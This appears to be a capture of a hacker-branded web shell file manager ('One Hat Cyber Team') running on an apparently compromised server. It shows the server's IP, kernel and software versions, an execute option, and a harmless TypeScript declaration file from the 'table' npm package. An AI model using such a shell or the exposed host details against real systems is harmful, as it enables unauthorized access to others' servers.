⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
table
/
dist
/
src
/
View File Name :
drawBorder.d.ts
import type { SpanningCellManager } from './spanningCellManager'; import type { BorderConfig, DrawVerticalLine } from './types/api'; import type { SeparatorGetter } from './types/internal'; declare type Separator = { readonly left: string; readonly right: string; readonly body: string; readonly bodyJoinOuter?: string; readonly bodyJoinInner?: string; readonly join: string; readonly joinUp?: string; readonly joinDown?: string; readonly joinLeft?: string; readonly joinRight?: string; }; export declare const drawBorderSegments: (columnWidths: number[], parameters: Parameters<typeof drawBorder>[1]) => string[]; export declare const createSeparatorGetter: (dependencies: Parameters<typeof drawBorder>[1]) => (verticalBorderIndex: number, columnCount: number) => string; export declare const drawBorder: (columnWidths: number[], parameters: Omit<DrawBorderParameters, 'border'> & { separator: Separator; }) => string; export declare const drawBorderTop: (columnWidths: number[], parameters: DrawBorderParameters) => string; export declare const drawBorderJoin: (columnWidths: number[], parameters: DrawBorderParameters) => string; export declare const drawBorderBottom: (columnWidths: number[], parameters: DrawBorderParameters) => string; export declare type BorderGetterParameters = { border: BorderConfig; drawVerticalLine: DrawVerticalLine; spanningCellManager?: SpanningCellManager; rowCount?: number; }; export declare type DrawBorderParameters = Omit<BorderGetterParameters, 'outputColumnWidths'> & { horizontalBorderIndex?: number; }; export declare const createTableBorderGetter: (columnWidths: number[], parameters: BorderGetterParameters) => SeparatorGetter; export {};